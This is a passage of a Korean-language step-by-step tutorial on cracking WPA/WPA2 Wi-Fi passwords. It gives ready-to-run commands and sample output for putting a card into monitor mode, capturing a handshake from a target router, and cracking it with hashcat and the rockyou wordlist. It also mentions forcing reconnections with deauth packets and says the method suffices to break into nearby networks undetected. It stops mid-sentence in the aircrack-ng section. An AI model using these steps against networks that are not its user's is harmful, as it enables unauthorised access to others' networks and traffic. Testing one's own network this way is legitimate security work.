
Airodump-ng와 Aircrack-ng/Hashcat을 사용하여 WPA/WPA2 Wi-Fi 라우터 크랙하기
Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat.
이것은 약한 비밀번호로 보호된 Wi-Fi 네트워크를 크랙하는 방법을 설명하는 간단한 실습 튜토리얼입니다. 포괄적이지는 않지만, 자신의 네트워크 보안을 테스트하거나 주변 네트워크에 침투하기에 충분한 정보를 제공해야 합니다. 아래에 설명된 공격은 완전히 수동적(컴퓨터에서 아무것도 전송하지 않고 듣기만 함)이며, 크랙한 비밀번호를 실제로 사용하지 않는 한 탐지가 불가능합니다. 선택적 활성 Deauth 공격은 정찰 과정을 가속화하는 데 사용될 수 있으며, 이 문서의 끝에서 설명됩니다.
이 과정에 익숙하다면 설명을 건너뛰고 하단의 명령어 목록으로 바로 이동할 수 있습니다. 다양한 제안 및 대체 방법은 부록을 참조하세요. neal1991 및 tiiime이 이 문서의 중국어 번역 및 부록을 제공해 주셨습니다.
면책 조항: 이 소프트웨어/튜토리얼은 교육 목적으로만 제공됩니다. 불법 활동에 사용해서는 안 됩니다. 작성자는 그 사용에 대한 책임을 지지 않습니다. 나쁜 짓 하지 마세요.
이 튜토리얼은 다음을 가정합니다:
sudo apt-get install aircrack-ng다음을 사용하여 모니터 모드를 지원하는 무선 인터페이스를 나열합니다:
airmon-ng
인터페이스가 나열되지 않으면 무선 카드가 모니터 모드를 지원하지 않는 것입니다 😞
무선 인터페이스 이름이 wlan0이라고 가정하지만, 다를 경우 올바른 이름을 사용하십시오.
다음으로 인터페이스를 모니터 모드로 전환합니다:
airmon-ng start wlan0
iwconfig를 실행하십시오. 이제 새로운 모니터 모드 인터페이스(보통 mon0 또는 wlan0mon)가 나열된 것을 볼 수 있습니다.
모니터 인터페이스를 사용하여 주변 무선 라우터가 브로드캐스트하는 802.11 비콘 프레임을 청취하기 시작합니다:
airodump-ng mon0
아래와 유사한 출력이 표시되어야 합니다.
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests
14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8
14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0>
14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro
9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme
00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome
06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2
78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2
9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT
BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root
EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca
이 데모의 목적상, 저의 네트워크인 "hackme"의 비밀번호를 크랙하도록 선택하겠습니다. airodump-ng에 표시된 BSSID MAC 주소와 채널(CH) 번호를 기억하세요. 다음 단계에서 둘 다 필요합니다.
WPA/WPA2는 4-way 핸드셰이크를 사용하여 장치를 네트워크에 인증합니다. 이것이 무엇을 의미하는지 알 필요는 없지만, 네트워크 비밀번호를 크랙하려면 이러한 핸드셰이크 중 하나를 캡처해야 합니다. 이 핸드셰이크는 장치가 네트워크에 연결될 때마다 발생합니다(예: 이웃이 퇴근 후 집에 돌아올 때). 이전 명령에서 찾은 채널과 BSSID 값을 사용하여 airmon-ng로 대상 네트워크의 트래픽을 모니터링함으로써 이 핸드셰이크를 캡처합니다.
# replace -c and --bssid values with the values of your target network
# -w specifies the directory where we will save the packet capture
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS
이제 기다립니다... 핸드셰이크를 캡처하면 화면 오른쪽 상단, 현재 시간 바로 오른쪽에 [ WPA handshake: bc:d3:c9:ef:d2:67와 같은 내용이 표시됩니다.
참을성이 없고 활성 공격을 사용하는 데 익숙하다면, 대상 네트워크에 연결된 장치에 악의적인 deauthentication 패킷을 보내 재연결을 강제할 수 있습니다. 이는 종종 4-way 핸드셰이크를 캡처하게 합니다. 이에 대한 정보는 아래의 Deauth 공격 섹션을 참조하세요.
핸드셰이크를 캡처했으면 ctrl-c를 눌러 airodump-ng를 종료하십시오. airodump-ng에 캡처를 저장하라고 지정한 곳에 .cap 파일(아마 -01.cap이라는 이름)이 보일 것입니다. 이 캡처 파일을 사용하여 네트워크 비밀번호를 크랙할 것입니다. 저는 이 파일의 이름을 크랙하려는 네트워크 이름을 반영하도록 변경하는 것을 좋아합니다:
mv ./-01.cap hackme.cap
마지막 단계는 캡처된 핸드셰이크를 사용하여 비밀번호를 크랙하는 것입니다. GPU에 접근할 수 있다면, 비밀번호 크래킹에 hashcat을 사용하는 것을 강력히 권장합니다. 저는 hashcat을 매우 쉽게 사용할 수 있도록 하는 naive-hashcat이라는 간단한 도구를 만들었습니다. GPU에 접근할 수 없다면, GPUHASH.me 또는 OnlineHashCrack과 같은 다양한 온라인 GPU 크래킹 서비스를 사용할 수 있습니다. Aircrack-ng으로 CPU 크래킹을 시도할 수도 있습니다.
아래의 두 공격 방법은 모두 상대적으로 약한 사용자 생성 비밀번호를 가정합니다. 대부분의 WPA/WPA2 라우터는 많은 사용자가 (당연히) 변경하지 않고 그대로 두는 강력한 12자 랜덤 비밀번호와 함께 제공됩니다. 이러한 비밀번호 중 하나를 크랙하려는 경우 Probable-Wordlists WPA-length 사전 파일을 사용하는 것이 좋습니다.
naive-hashcat을 사용한 크래킹 (권장)naive-hashcat을 사용하여 비밀번호를 크랙하기 전에 .cap 파일을 해당 hashcat 파일 형식인 .hccapx로 변환해야 합니다. .cap 파일을 https://hashcat.net/cap2hccapx/에 업로드하거나 cap2hccapx 도구를 직접 사용하여 쉽게 수행할 수 있습니다.
cap2hccapx.bin hackme.cap hackme.hccapx
다음으로 naive-hashcat을 다운로드하고 실행합니다:
# download
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat
# download the 134MB rockyou dictionary file
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# crack ! baby ! crack !
# 2500 is the hashcat hash mode for WPA/WPA2
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
Naive-hashcat은 다양한 사전, 규칙, 조합 및 마스크(스마트 무차별 대입) 공격을 사용하며, 중간 강도의 비밀번호에 대해 실행하는 데 며칠 또는 몇 달이 걸릴 수 있습니다. 크랙된 비밀번호는 hackme.pot에 저장되므로 이 파일을 주기적으로 확인하십시오. 비밀번호를 크랙하면 POT_FILE의 내용으로 다음과 같은 것이 표시됩니다:
e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet
여기서 :로 구분된 마지막 두 필드는 각각 네트워크 이름과 비밀번호입니다.
naive-hashcat 없이 hashcat을 사용하고 싶다면 이 페이지에서 정보를 확인하세요.
Aircrack-ng는 CPU에서 실행되는 매우 기본적인 사전 공격에 사용될 수 있습니다. 공격을 실행하기 전에 단어 목록이 필요합니다. 유명한 rockyou 사전 파일을 사용하는 것을 권장합니다: